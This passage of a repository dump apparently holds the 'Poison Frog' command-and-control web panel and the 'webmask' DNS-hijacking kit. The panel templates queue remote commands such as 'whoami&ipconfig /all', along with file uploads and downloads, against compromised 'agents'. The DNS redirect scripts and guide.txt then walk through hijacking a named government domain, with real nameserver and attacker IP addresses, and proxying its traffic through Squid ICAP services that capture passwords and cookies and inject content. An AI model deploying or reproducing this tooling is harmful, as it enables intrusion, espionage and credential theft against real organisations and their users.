\"hidden\");\r\n\t\t\t\thf2.setAttribute(\"name\", \"command\");\r\n\t\t\t\thf2.setAttribute(\"value\", \"whoami&ipconfig /all\");\r\n\t\t\t\tform.appendChild(hf2);\r\n\t\t\t\t\r\n\t\t\t\tvar hf3 = document.createElement(\"input\");\r\n\t\t\t\thf3.setAttribute(\"type\", \"hidden\");\r\n\t\t\t\thf3.setAttribute(\"name\", \"agentId\");\r\n\t\t\t\thf3.setAttribute(\"value\", f_agentId);\r\n\t\t\t\tform.appendChild(hf3);\r\n\r\n\t\t\t\tvar hf4 = document.createElement(\"input\");\r\n\t\t\t\thf4.setAttribute(\"type\", \"hidden\");\r\n\t\t\t\thf4.setAttribute(\"name\", \"agentType\");\r\n\t\t\t\thf4.setAttribute(\"value\", f_agentType);\r\n\t\t\t\tform.appendChild(hf4);\r\n\t\t\t\t\r\n\t\t\t\t/*var hf5 = document.createElement(\"input\");\r\n\t\t\t\thf5.setAttribute(\"type\", \"hidden\");\r\n\t\t\t\thf5.setAttribute(\"name\", \"commandType\");\r\n\t\t\t\thf5.setAttribute(\"value\", f_commandType);\r\n\t\t\t\tform.appendChild(hf5);*/\r\n\r\n\t\t\t\tvar hf6 = document.createElement(\"input\");\r\n\t\t\t\thf6.setAttribute(\"type\", \"hidden\");\r\n\t\t\t\thf6.setAttribute(\"name\", \"defaultCommand\");\r\n\t\t\t\thf6.setAttribute(\"value\", \"yes\");\r\n\t\t\t\tform.appendChild(hf6);\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\tdocument.body.appendChild(form);\r\n\t\t\tform.submit();\r\n\t\t}\r\n\t</script>\r\n</head>\r\n\r\n\r\n\r\n<body>\r\n\r\n\r\n\r\n\r\n<div id=\"header\">\r\n\t<div class=\"shell\">\r\n\t\t<!-- Logo + Top Nav -->\r\n\t\t<div id=\"top\">\r\n\t\t\t<h1>Prepare for poison.</h1>\r\n\t\t\t<div id=\"top-navigation\">\r\n\t\t\t\t<!-- <span>|</span> -->\r\n\t\t\t\t<span id=\"timmer\">00:00</span>\r\n\t\t\t\tWelcome to <strong>Poison Frog</strong> panel.\r\n\t\t\t</div>\r\n\t\t</div>\r\n\t\t<!-- End Logo + Top Nav -->\r\n\t\t\r\n\t\t<!-- Main Nav -->\r\n\t\t<div id=\"navigation\">\r\n\t\t\t<ul>\r\n\t\t\t    <li onClick=\"javascript:window.location.href='/in/http'\"> <span>HTTP agents</span></li>\r\n\t\t\t    <li onClick=\"javascript:window.location.href='/in/dns'\" > <span>DNS agents</span></li>\r\n\t\t\t</ul>\r\n\t\t</div>\r\n\t\t<!-- End Main Nav -->\r\n\t</div>\r\n</div>\r\n<!-- End Header -->\r\n\r\n<!-- Container -->\r\n<div  id=\"container\" >\r\n\t<div class=\"shell\">\r\n\t\t\r\n\t\t<br />\r\n\t\t<!-- Main -->\r\n\t\t<div id=\"main\">\r\n\t\t\t<div class=\"cl\">&nbsp;</div>\r\n\t\t\t\r\n\t\t\t<!-- Content -->\r\n\t\t\t<div id=\"content\">\r\n\t\t\t\t\t\t\t\t<div class=\"box\">\r\n\t\t\t\t\t<!-- Box Head -->\r\n\t\t\t\t\t<div class=\"box-head\">\r\n\t\t\t\t\t\t<h2>Agent Details</h2>\r\n\t\t\t\t\t</div>\r\n\t\t\t\t\t<!-- End Box Head -->\r\n\t\t\t\t\t\r\n\t\t\t\t\t<form action=\"/\" enctype=\"multipart/form-data\" method=\"POST\">\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t<!-- Form -->\r\n\t\t\t\t\t\t<div>\r\n\t\t\t\t\t\t<center>\t<table  id=\"showdetil\">\r\n\t\t\t\t\t\t\t<tr><td><ul style=\"list-style-type: none;\">\r\n\t\t\t\t\t\t\t\t<li><h2>ID: <%= agentDetails[0] %></h2></li>\r\n\t\t\t\t\t\t\t\t<li><h2>Whoami: <%= agentDetails[1] %></h2></li>\r\n\t\t\t\t\t\t\t\t</ul>\r\n\t\t\t\t\t\t\t\t\t</td><td>\r\n\t\t\t\t\t\t\t\t\t<ul style=\"list-style-type: none;\">\r\n\t\t\t\t\t\t\t\t\t\t\t<li><h2>IP: <%= agentDetails[2] %></h2></li>\t\t\r\n\t\t\t\t\t\t\t\t<li><h2><p id=\"time_now\" hidden><%= current_time.toString() %></p><p id=\"visitTime\" hidden><%= agentDetails[3].toString() %></p>LastTime: <%= agentDetails[3] %></h2></li>\r\n\t\t\t\t\t\t\t</ul>\r\n\t\t\t\t\t\t\t</td></tr>\r\n\t\t\t\t\t\t\t</table>\t</center>\r\n\t\t\t\t\t\t</div>\r\n\t\t\r\n\r\n\t\t\t\t\t\t<!-- End Form -->\r\n\r\n\t\t\t\t\t\t<!-- Form Buttons -->\r\n\r\n\t\t\t\t\t\t<!-- End Form Buttons -->\r\n\t\t\t\t\t</form>\r\n\t\t\t\t</div>\t\r\n\t\t\t\t<!-- Box -->\r\n\t\t\t\t<div class=\"box\">\r\n\t\t\t\t\t<!-- Box Head -->\r\n\t\t\t\t\t<div class=\"box-head\">\r\n\t\t\t\t\t\t<h2>Add New Command</h2>\r\n\t\t\t\t\t</div>\r\n\t\t\t\t\t<!-- End Box Head -->\r\n\t\t\t\t\t\r\n\t\t\t\t\t<form action=\"/\" enctype=\"multipart/form-data\" method=\"POST\">\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t<!-- Form -->\r\n\t\t\t\t\t\t<div class=\"form\">\r\n\t\t\t\t\t\t\t<input id=\"f_agentId\" name=\"agentId\" \ttype=\"hidden\"\tvalue=\"<%= agentDetails[0] %>\" />\r\n\t\t\t\t\t\t\t<input id=\"f_commandId\" name=\"commandId\" type=\"hidden\"\tvalue=\"<%= commandId %>\" />\r\n\t\t\t\t\t\t\t<input id=\"f_whoami\" name=\"whoami\" \ttype=\"hidden\" \tvalue=\"<%= agentDetails[1] %>\" />\r\n\t\t\t\t\t\t\t<input id=\"f_ip\" name=\"ip\" \t\ttype=\"hidden\" \tvalue=\"<%= agentDetails[2] %>\" />\r\n\t\t\t\t\t\t\t<input id=\"f_first\" name=\"first\" \ttype=\"hidden\" \tvalue=\"<%= agentDetails[3] %>\" />\r\n\t\t\t\t\t\t\t<input id=\"f_agentType\" name=\"agentType\" type=\"hidden\" \tvalue=\"<%= agentDetails[4] %>\" />\r\n\t\t\t\t\t\t\t<p>\r\n\t\t\t\t\t\t\t\t<label>Command</label>\r\n\t\t\t\t\t\t\t\t<input type=\"text\" name=\"command\" class=\"field size1\" />\r\n\t\t\t\t\t\t\t</p>\r\n\t\t\t\t\t\t\t<p>\r\n\t\t\t\t\t\t\t\t<label>Upload File</label>\r\n\t\t\t\t\t\t\t\t<input type=\"file\" name=\"uploadFile\" class=\"field size1\" />\r\n\t\t\t\t\t\t\t</p>\r\n\t\t\t\t\t\t\t<p>\r\n\t\t\t\t\t\t\t\t<label>Download File</label>\r\n\t\t\t\t\t\t\t\t<input type=\"text\" name=\"downloadAdr\" placeholder=\"File address in target system\" class=\"field size1\" />\r\n\t\t\t\t\t\t\t</p>\r\n\t\t\t\t\t\t</div>\r\n\r\n\t\t\t\t\t\t<!-- End Form -->\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t<!-- Form Buttons -->\r\n\t\t\t\t\t\t<div id=\"form_buttons\" class=\"buttons\">\r\n\t\t\t\t\t\t\t<input id=\"submit_button\" type=\"submit\" class=\"button\"  value=\"RUN\" />\r\n\t\t\t\t\t\t\t<% if(agentDetails[4]==\"dns\") {  %><div id=\"commandTypeDiv\"><input id=\"f_commandType\" type=\"checkbox\" name=\"commandType\">Text Request</input>  </div> <% } %>\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t<!-- End Form Buttons -->\r\n\t\t\t\t\t</form>\r\n\t\t\t\t</div>\r\n\t\t\t\t<!-- End Box -->\r\n\r\n\t\t\t\t<!-- Box -->\r\n\t\t\t\t<div class=\"box\">\r\n\t\t\t\t\t<!-- Box Head -->\r\n\t\t\t\t\t<div class=\"box-head\" style=\"height: 42px; inline-height: 42px;\" >\r\n\t\t\t\t\t\t<h2 class=\"left\">Count: <%= commands.length %></h2>\r\n\t\t\t\t\t\t<div class=\"right\">\r\n\t\t\t\t\t\t\t<!-- <label>search articles</label>\r\n\t\t\t\t\t\t\t<input type=\"text\" class=\"field small-field\" /> -->\r\n\t\t\t\t\t\t\t<input id=\"default_button\" onclick=\"sendDefaultCommand()\" type=\"submit\" class=\"button\" value=\"Default Command\"/>\r\n\t\t\t\t\t\t</div>\r\n\t\t\t\t\t</div>\r\n\t\t\t\t\t<!-- End Box Head -->\t\r\n\r\n\t\t\t\t\t<!-- Table -->\r\n\t\t\t\t\t<!--<div class=\"table\" id=\"command_table\">-->\r\n\t\t\t\t\t<div class=\"table\">\r\n\t\t\t\t\t\t<table id=\"command_table\" width=\"100%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\" >\r\n\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t<th width=\"13\"><input type=\"checkbox\" class=\"checkbox\" /></th>\r\n\t\t\t\t\t\t\t\t<th style=\"display:none;\" >ID</th>\r\n\t\t\t\t\t\t\t\t<th>Command/Upload/Download</th>\r\n\t\t\t\t\t\t\t\t<!-- <th>Date</th> -->\r\n\t\t\t\t\t\t\t\t<th>State</th>\r\n\t\t\t\t\t\t\t\t<th width=\"110\" class=\"ac\">Delete</th>\r\n\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t<% for(var i = commands.length-1 ; i > -1; i--) { %>\r\n\t\t\t\t\t\t\t\t<tr style=\"cursor: pointer;\" ><!-- class=\"odd\" -->\r\n\t\t\t\t\t\t\t\t\t<td class=\"\" onClick=\"javascript:window.location.href='/res/<%= agentDetails[4] %>-<%= agentDetails[0] %>-<%= commands[i][0] %>'\" ><input type=\"checkbox\" class=\"checkbox\" /><input type=\"hidden\" name=\"commandId\" value=\"<%=  commands[i][0] %>\" /></td>\r\n\t\t\t\t\t\t\t\t\t<td  style=\"display:none;\" onClick=\"javascript:window.location.href='/<%= agentDetails[4] %><><%= commands[i][0] %>'\" ><h3><%= commands[i][0] %></h3></td>\r\n\t\t\t\t\t\t\t\t\t<td onClick=\"javascript:window.location.href='/res/<%= agentDetails[4] %>-<%= agentDetails[0] %>-<%= commands[i][0] %>'\"><h3 id=\"comandBody\" ><% if(commands[i][1] != \"not\") { %> <div id=\"command\" title=\"Command: <%=  commands[i][1] %>\" >Command: <%= commands[i][1] %></div> <% } if(commands[i][2] != \"not\") { %> <div id=\"upload\" title=\"Upload: <%= commands[i][2] %>\" >Upload: <%= commands[i][2] %></div> <% } if(commands[i][4] != \"not\") { %> <div id=\"download\" title=\"Download: <%= commands[i][4] %>\" >Download: <%= commands[i][4] %></div> <% }  %></h3></td>\r\n\t\t\t\t\t\t\t\t\t<!-- <td onClick=\"javascript:window.location.href='/res/<%= agentDetails[4] %>-<%= agentDetails[0] %>-<%= commands[i][0] %>'\"><%= (commands[i][0]).substr(0, 1)+\"/\"+(commands[i][0]).substr(1, 2)+\"_\"+(commands[i][0]).substr(3, 2)+\":\"+(commands[i][0]).substr(5, 2)+\":\"+(commands[i][0]).substr(7, 2) %></td> -->\r\n\t\t\t\t\t\t\t\t\t<td onClick=\"javascript:window.location.href='/res/<%= agentDetails[4] %>-<%= agentDetails[0] %>-<%= commands[i][0] %>'\"><% if(commands[i][(commands[i].length-1)]==\"0\") {%>In Queue<%} else if(commands[i][(commands[i].length-1)]==\"01\") {%>Sending<%} else if(commands[i][(commands[i].length-1)]==\"1\") {%>Sended<%} else if(commands[i][(commands[i].length-1)]==\"12\") {%>Receiving<%} else {%>Received<%}%></td>\r\n\t\t\t\t\t\t\t\t\t<td onClick=\"javascript:window.location.href='/delcmd/<%= agentDetails[4] %>-<%= agentDetails[0] %>-<%= commands[i][0] %>'\"><a class=\"ico del\">Delete</a></td>\r\n\t\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t<% } %>\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\r\n\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t</table>\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t<script>\r\nfunction sortTable(n) {\r\n  var table, rows, switching, i, x, y, shouldSwitch, dir, switchcount = 0;\r\n  table = document.getElementById(\"command_table\");\r\n  switching = true;\r\n  // Set the sorting direction to ascending:\r\n  dir = \"asc\";\r\n  /* Make a loop that will continue until\r\n  no switching has been done: */\r\n  while (switching) {\r\n    // Start by saying: no switching is done:\r\n    switching = false;\r\n    rows = table.rows;\r\n    /* Loop through all table rows (except the\r\n    first, which contains table headers): */\r\n\t\r\n    for (i = 1; i < (rows.length - 1); i++) {\r\n      // Start by saying there should be no switching:\r\n      shouldSwitch = false;\r\n      /* Get the two elements you want to compare,\r\n      one from current row and one from the next: */\r\n      x = rows[i].getElementsByTagName(\"TD\")[n];\r\n      y = rows[i + 1].getElementsByTagName(\"TD\")[n];\r\n      /* Check if the two rows should switch place,\r\n      based on the direction, asc or desc: */\r\n      if (dir == \"asc\") {\r\n        if (x.innerHTML.toLowerCase() > y.innerHTML.toLowerCase()) {\r\n          // If so, mark as a switch and break the loop:\r\n          shouldSwitch = true;\r\n          break;\r\n        }\r\n      } else if (dir == \"desc\") {\r\n        if (x.innerHTML.toLowerCase() < y.innerHTML.toLowerCase()) {\r\n          // If so, mark as a switch and break the loop:\r\n          shouldSwitch = true;\r\n          break;\r\n        }\r\n      }\r\n    }\r\n    if (shouldSwitch) {\r\n      /* If a switch has been marked, make the switch\r\n      and mark that a switch has been done: */\r\n      rows[i].parentNode.insertBefore(rows[i + 1], rows[i]);\r\n      switching = true;\r\n      // Each time a switch is done, increase this count by 1:\r\n      switchcount ++;\r\n    } else {\r\n      /* If no switching has been done AND the direction is \"asc\",\r\n      set the direction to \"desc\" and run the while loop again. */\r\n      if (switchcount == 0 && dir == \"asc\") {\r\n        dir = \"desc\";\r\n        switching = true;\r\n      }\r\n    }\r\n  }\r\n}\r\n</script>\r\n\r\n\r\n\t\t\t\t\t</div>\r\n\t\t\t\t\t<!-- Table -->\r\n\t\t\t\t</div>\r\n\t\t\t\t<!-- End Box -->\r\n\t\t\t</div>\r\n\t\t\t<div class=\"cl\">&nbsp;</div>\t\t\t\r\n\t\t</div>\r\n\t\t<!-- Main -->\r\n\t</div>\r\n</div>\r\n<!-- End Container -->\r\n\r\n<!-- Footer -->\r\n<div id=\"footer\">\r\n\t<div class=\"shell\">\r\n\t\t<span class=\"left\">&copy; Poison frog</span>\r\n\t\t<span class=\"right\">\r\n\t\t\tChanged by <a href=\"#\" target=\"_blank\" title=\"The Sweetest CSS Templates WorldWide\">Poison Frogs Team</a>\r\n\t\t</span>\r\n\t</div>\r\n</div>\r\n<!-- End Footer -->\r\n\r\n\r\n<script>\r\nfunction sortTable2(n) {\r\n  var table, rows, switching, i, x, y, shouldSwitch, dir, switchcount = 0;\r\n  table = document.getElementById(\"command_table\");\r\n  switching = true;\r\n  // Set the sorting direction to ascending:\r\n  dir = \"asc\";\r\n  /* Make a loop that will continue until\r\n  no switching has been done: */\r\n  while (switching) {\r\n    // Start by saying: no switching is done:\r\n    switching = false;\r\n    rows = table.rows;\r\n    /* Loop through all table rows (except the\r\n    first, which contains table headers): */\r\n\t\r\n    for (i = 1; i < (rows.length - 1); i++) {\r\n      // Start by saying there should be no switching:\r\n      shouldSwitch = false;\r\n      /* Get the two elements you want to compare,\r\n      one from current row and one from the next: */\r\n      x = rows[i].getElementsByTagName(\"TD\")[n];\r\n      y = rows[i + 1].getElementsByTagName(\"TD\")[n];\r\n      /* Check if the two rows should switch place,\r\n      based on the direction, asc or desc: */\r\n        if (true) {\r\n        if (x.innerHTML.toLowerCase() < y.innerHTML.toLowerCase()) {\r\n          // If so, mark as a switch and break the loop:\r\n          shouldSwitch = true;\r\n          break;\r\n        }\r\n      }\r\n\t  else if (dir == \"desc\") {\r\n        if (x.innerHTML.toLowerCase() > y.innerHTML.toLowerCase()) {\r\n          // If so, mark as a switch and break the loop:\r\n          shouldSwitch = true;\r\n          break;\r\n        }\r\n      }\r\n    }\r\n    if (shouldSwitch) {\r\n      /* If a switch has been marked, make the switch\r\n      and mark that a switch has been done: */\r\n      rows[i].parentNode.insertBefore(rows[i + 1], rows[i]);\r\n      switching = true;\r\n      // Each time a switch is done, increase this count by 1:\r\n      switchcount ++;\r\n    } else {\r\n      /* If no switching has been done AND the direction is \"asc\",\r\n      set the direction to \"desc\" and run the while loop again. */\r\n      if (switchcount == 0 && dir == \"asc\") {\r\n        dir = \"desc\";\r\n        switching = true;\r\n      }\r\n    }\r\n  }\r\n  \r\n}\r\ndocument.getElementById(\"demo\").innerHTML = sortTable2(1);\r\n\r\n</script>\r\n\r\n\r\n\r\n\r\n</body>\r\n</html>\r\n"
  },
  {
    "path": "posionfrog/serverside/views/result.ejs",
    "content": "<!DOCTYPE html>\r\n<html>\r\n<head>\r\n    <script>\r\n        function escapeHtml(text) {\r\n        return text\r\n            .replace(/&/g, \"&amp;\")\r\n            .replace(/</g, \"&lt;\")\r\n            .replace(/>/g, \"&gt;\")\r\n            .replace(/\"/g, \"&quot;\")\r\n            .replace(/'/g, \"&#039;\");\r\n        }\r\n        window.onload = function() {\r\n\r\n            var data = document.getElementById(\"data\").value;\r\n\r\n            var command = \"not\";\r\n            var result = \"not\";\r\n\r\n            console.log(data.split(\"<br/>\").length);\r\n\r\n            if(data.split(\"<br/>\").length < 2) {\r\n                command = data.split('\\\\n')[0];\r\n                result = data.split('\\\\n')[1];\r\n            } else {\r\n                command = data.split(\"<br/>\")[0];\r\n                result = data.split(\"<br/>\")[1];\r\n            }\r\n\r\n            document.getElementById(\"command\").innerHTML =\"<pre>Command:> \" + escapeHtml(command.replace(/^ï»¿/,\"\")) +\"</pre>\";\r\n            document.getElementById(\"result\").innerHTML = \"<pre>\" + escapeHtml(result.trim().replace(/\\<>$/, '')) + \"</pre>\";\r\n        };\r\n    </script>\r\n</head>\r\n<body style=\"background: black;color: green; font-size: 18px; font-weight: bold;\">\r\n    <input id=\"data\" type=\"hidden\" value=\"<%= data %>\"/>\r\n    <div id=\"command\" style=\"padding: 5px;color: rgb(9, 155, 9); font-size: 18px; font-weight: bold;\"></div><br/>\r\n    <div id=\"result\" style=\"padding: 10px; padding-top: 0px; background: black;color: green; font-size: 18px; font-weight: bold;\"></div>\r\n</body>\r\n</html>\r\n"
  },
  {
    "path": "webmask/dns-redir/config.json",
    "content": "{\n\t\"overrides\":{\n\t\t\"victim_domain\": \"127.0.0.1\"\n\t},\n\t\"zones\":[\n\t\t\"victim_domain\"\n\t]\n}\n"
  },
  {
    "path": "webmask/dns-redir/dnsd.js",
    "content": "var dns = require('native-dns');\nvar fs = require('fs');\n\n\n\nvar domainName = ['mail.<victim domain>', 'dns.<victim domain>'];\nvar zone = 'hostA.example.org';\nvar authorative = '<original nameserver ip>'; //must be ip\nvar responseIP = 'attacker server ip';\nvar server = dns.createServer();\n\nfunction replaceAll(target, search, replacement) {\n\treturn target.replace(new RegExp(search, 'g'), replacement);\n};\n\nserver.on('request', function (request, response) {\n\tfor(var i = 0; i < 1; i++)\n\t{\n\t\tvar q = request.question[i].name.toLowerCase();\n\t\t\n\t\tconsole.log('request = ' + q);\n\t\tif(domainName.indexOf(q) > -1 && request.question[i].type == 1)\n\t\t{\n\t\t\tresponse.answer.push(dns.A({\n\t\t\t\tname: request.question[i].name,\n\t\t\t\taddress: responseIP,\n\t\t\t\tttl: 600,\n\t\t\t}));\n\t\t\tresponse.send();\n\t\t}\n\t\telse if(q.indexOf(zone) != -1)\n\t\t{\n\t\t\t//redirect\n\t\t\t//if(request.question[i].type == 1)\n\t\t\t{\n\t\t\t\tvar question2 = dns.Question(request.question[i]);\n\t\t\t\t/*question:  dns.Question({\n\t\t\t\t\t\tname: request.question[i].name,\n\t\t\t\t\t\ttype: 'A'\n\t\t\t\t\t})\n\t\t\t\t\t*/\n\t\t\t\tvar req = dns.Request({\n\t\t\t\t\tquestion: question2,\n\t\t\t\t\tserver: { address: authorative, port: 53, type: 'udp' },\n\t\t\t\t\ttimeout: 1000,\n\t\t\t\t});\n\t\t\t\treq.on('timeout', function () {\n\t\t\t\t\tconsole.log('Timeout in making request');\n\t\t\t\t});\n\n\t\t\t\treq.on('message', function (err, answer) {\n\t\t\t\t\t//console.log(JSON.stringify(answer));\n\t\t\t\t\tfor (var j = answer.answer.length - 1; j >= 0; j--) {\n\t\t\t\t\t\t//console.log(answer.answer[j]);\n\t\t\t\t\t\t//if(answer.answer[j].type == 1)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tresponse.answer.push(answer.answer[j]);\n\t\t\t\t\t\t\t/*\n\t\t\t\t\t\t\tresponse.answer.push(dns.A({\n\t\t\t\t\t\t\t\tname: answer.answer[j].name,\n\t\t\t\t\t\t\t\taddress: answer.answer[j].address,\n\t\t\t\t\t\t\t\tttl: 600,\n\t\t\t\t\t\t\t}));\n\t\t\t\t\t\t\t*/\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t\treq.on('end', function () {\n\t\t\t\t\tconsole.log('Finished processing request');\n\t\t\t\t\tresponse.send();\n\t\t\t\t});\n\t\t\t\tconsole.log('sent ' + request.question[i].name)\n\t\t\t\treq.send();\n\t\t\t}\n\t\t\t\n\t\t} \n\t\t\n\t}\n\t/*\n\tresponse.answer.push(dns.A({\n\t\tname: request.question[0].name,\n\t\taddress: '127.0.0.2',\n\t\tttl: 600,\n\t}));\n\tresponse.additional.push(dns.A({\n\t\tname: 'hostA.example.org',\n\t\taddress: '127.0.0.3',\n\t\tttl: 600,\n\t}));\n\t*/\n\t\n});\n\nserver.on('error', function (err, buff, req, res) {\n\tconsole.log(err);\n});\n\nserver.serve(53);\n"
  },
  {
    "path": "webmask/dns-redir/dnsd.py",
    "content": "import socket\nimport SocketServer\nimport dnslib\nimport sys\nimport json\n\n\nconfig_file = sys.argv[1]\nredir_server = sys.argv[2]\nhost = \"0.0.0.0\"\nport = 53\n\noverrides = {}\nzones = []\nTTL = 60 * 5\n\n\ndef parse_config(config_file):\n    f = open(config_file)\n    config = json.loads(f.read())\n    f.close()\n    return config\n\nclass MyUDPHandler(SocketServer.BaseRequestHandler):\n    def inZone(self, packet):\n    try:\n        record = dnslib.DNSRecord.parse(packet).q\n        f = open('log.txt', 'a')\n        f.write(str(record) + '\\n')\n        f.close()\n        print record\n    except:\n        return False\n        for zone in zones:\n            if str(record.qname).lower().endswith(zone):\n                return True\n        return False\n\n    def override(self, packet):\n        dns_record = dnslib.DNSRecord.parse(packet)\n        if str(dns_record.q.qname).lower() in overrides and dns_record.q.qtype == dnslib.QTYPE.A:\n            dns_record.rr = [dnslib.RR(rname=dns_record.q.qname, rtype=dnslib.QTYPE.A, rclass=1, ttl=TTL, rdata=dnslib.A(overrides[str(dns_record.q.qname).lower()]))]\n            print 'overrride', dns_record.rr[0]\n        '''\n        while True:\n            change = False\n            for i in range(0, len(dns_record.rr)):\n                if str(dns_record.rr[i].rname).lower() in overrides:\n                    if dns_record.rr[i].rtype == dnslib.QTYPE.A and str(dns_record.rr[i].rdata) != overrides[str(dns_record.rr[i].rname).lower()]:\n                        dns_record.rr[i].rdata = dnslib.A(overrides[str(dns_record.rr[i].rname).lower()])\n                        change = True\n                        print dns_record.rr[i]\n                    if dns_record.rr[i].rtype == dnslib.QTYPE.CNAME and str(dns_record.rr[i].rdata).lower() not in overrides:\n                        overrides[str(dns_record.rr[i].rdata).lower()] = overrides[str(dns_record.rr[i].rname).lower()]\n                        change = True\n                        print dns_record.rr[i]\n            if not change:\n                break\n        '''\n        return dns_record.pack()\n\n    def handle(self):\n        print self.client_address\n        data = self.request[0].strip()\n        input_socket = self.request[1]\n        if self.inZone(data):\n            redir_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n            redir_socket.sendto(data, (redir_server, 53))\n            answer = redir_socket.recv(2048)\n            redir_socket.close()\n            answer = self.override(answer)\n            input_socket.sendto(answer, self.client_address)\n        #input_socket.close()\n\nconfig = parse_config(config_file)\noverrides = config['overrides']\nzones = config['zones']\nserver = SocketServer.UDPServer((host, port), MyUDPHandler)\nserver.serve_forever()\n\n"
  },
  {
    "path": "webmask/guide.txt",
    "content": "apt-get update\napt-get install vim\napt-get install screen\n\n----Solution 1\nwget https://bootstrap.pypa.io/get-pip.py\npython get-pip.py\nrm -f get-pip.py\npip install dnslib\n<copy dns_redir>\ncd dns_redir\n<edit config.json>\nscreen \npython dnsd.py config.json <original nameserver>\n<exit screen (Ctrl+A -> Ctrl_D)>\n\n----Solution2 (use this)\napt-get install curl\napt-get install sudo\ncurl -sL https://deb.nodesource.com/setup_6.x | sudo -E bash -\nsudo apt-get install -y nodejs\nnpm install -g forever\nnpm install -g forever-service\n<copy dns_redir>\ncd dns_redir\nnpm install native-dns\n<edit dnsd.js>\n\t\t\tvar zone = 'tra.gov.ae';\n\t\t\tvar domainName = ['webmail.tra.gov.ae', 'dns.tra.gov.ae'];\n\t\t\tvar zone = 'tra.gov.ae';\n\t\t\tvar authorative = '195.229.237.52'; //must be ip\n\t\t\tvar responseIP = '185.162.235.106';\n\t\t\tvar server = dns.createServer();\nforever-service install dns-server --script dnsd.js --start\n\n**-----------------------------------------------ta inja\n<copy icap server script>\nipcocd icap\nscreen\npython icap.py\n<exit screen (Ctrl+A -> Ctrl_D)>\n\ncd /opt\napt-get install openssl devscripts build-essential libssl-dev apache2 squid-langpack\napt-get source squid3\napt-get build-dep squid3\ncd squid3-3.4.8\nvim debian/rules\n\t<insert below lines in DEB_CONFIGURE_EXTRA_FLAGS section>\n\t\t--enable-ssl \\\n\t\t--enable-ssl-crtd \\\n\t\t--with-open-ssl=\"/etc/ssl/openssl.cnf\" \\\ndebuild -us -uc\ncd ..\ndpkg -i *.deb\napt-get install -f\nservice apache2 stop\nservice squid3 stop\ncd /etc/squid3/\nmv squid.conf squid.conf.bckp\nvim squid.conf\n\t<insert below lines>\n\t\tvisible_hostname edge.<target-zone>\n\n\t\t#http_port 80 accel defaultsite=<target-domain> no-vhost\n\t\t#https_port 443 accel cert=/etc/letsencrypt/live/<target-domain>/fullchain.pem key=/etc/letsencrypt/live/<target-domain>/privkey.pem defaultsite=<target-domain> no-vhost\n\n\t\t#cache_peer <original-target-ip> parent 80 0 no-query originserver name=webmask\n\t\t#cache_peer <original-target-ip> parent 443 0 no-query originserver sslflags=DONT_VERIFY_PEER,DONT_VERIFY_DOMAIN login=PASS ssl front-end-https=on name=webmask\n\n\t\tacl target_sites dstdomain <target-domain>\n\t\thttp_access allow target_sites\n\t\tcache_peer_access webmask allow target_sites\n\t\tcache_peer_access webmask deny all\n\n\t\ticap_enable on\n\t\ticap_persistent_connections off\n\t\tadaptation_send_client_ip on\n\t\tadaptation_masterx_shared_names X-Data\n\n\t\ticap_service password_req reqmod_precache bypass=1 icap://127.0.0.1:1344/password\n\t\t#icap_service password_resp respmod_precache bypass=1 icap://127.0.0.1:1344/password\n\t\ticap_service cookie_req reqmod_precache bypass=1 icap://127.0.0.1:1344/cookie\n\t\t#icap_service cookie_resp respmod_precache bypass=1 icap://127.0.0.1:1344/cookie\n\t\t#icap_service inject_req reqmod_precache bypass=1 icap://127.0.0.1:1344/inject\n\t\ticap_service inject_resp respmod_precache bypass=1 icap://127.0.0.1:1344/inject\n\t\ticap_service headers_req reqmod_precache bypass=1 icap://127.0.0.1:1344/headers\n\t\t#icap_service headers_resp respmod_precache bypass=1 icap://127.0.0.1:1344/headers\n\t\ticap_service basic_req reqmod_precache bypass=1 icap://127.0.0.1:1344/basic\n\t\t#icap_service basic_resp respmod_precache bypass=1 icap://127.0.0.1:1344/basic\n\n\t\tadaptation_service_chain service_req password_req basic_req\n\t\t#adaptation_service_chain service_resp \n\n\t\tadaptation_access service_req allow all\n\t\t#adaptation_access service_resp allow all\n\t<replace target-domain and original-target-ip by its values>\n\t<uncomment http_port and https_port if you want>\n\t<uncomment which cache_peer you want>\n\t<add needed icap_services to adaptation_service_chain>\n\n<scan target server and find open ports>\n\tnmap -vvv <original-target-ip>\napt-get install haproxy\ncd /etc/haproxy/\nvim haproxy.cfg\n\t<comment below lines>\n\t\tmode    http\n\t\toption  httplog\n\t<insert below lines for all of open port>\n\t\tfrontend ft_<port>\n\t\t\tbind :<port>\n\t\t\tmode tcp\n\t\t\tdefault_backend bk_<port>\n\t\tbackend bk_<port>\n\t\t\tmode tcp\n\t\t\tbalance roundrobin\n\t\t\tstick-table type ip size 200k expire 30m\n\t\t\tstick on src\n\t\t\tdefault-server inter 1s\n\t\t\tserver s1 <original-target-ip>:<port> check id 1\n<check no process listen on target ports>\n\tnetstat -nlp\nservice haproxy restart\n\n---------------------------------------------\n\n<change target domain nameserver and wait the change apply>\n\n---------------------------------------------\n\n<if you want get valid certificate for squid>\n\tvim /etc/apt/sources.list\n\t\t<insert below lines>\n\t\t\tdeb http://ftp.debian.org/debian jessie-backports main\n\t\t\tdeb-src http://ftp.debian.org/debian jessie-backports main\n\tapt-get update\n\tapt-get install certbot -t jessie-backports\n\tvim /etc/haproxy/haproxy.cfg\n\t\t<comment sections related to port 443>\n\tservice haproxy restart\n\tcertbot certonly --standalone -n -m <recovery-email> --agree-tos -d <target-domain>\n\tvim /etc/haproxy/haproxy.cfg\n\t\t<uncomment sections related to port 443>\n\tservice haproxy restart\n\nvim /etc/haproxy/haproxy.cfg\n\t<comment sections related to squid ports>\nservice haproxy restart\nservice squid3 start\n"
  },
  {
    "path": "webmask/icap/icap.py",
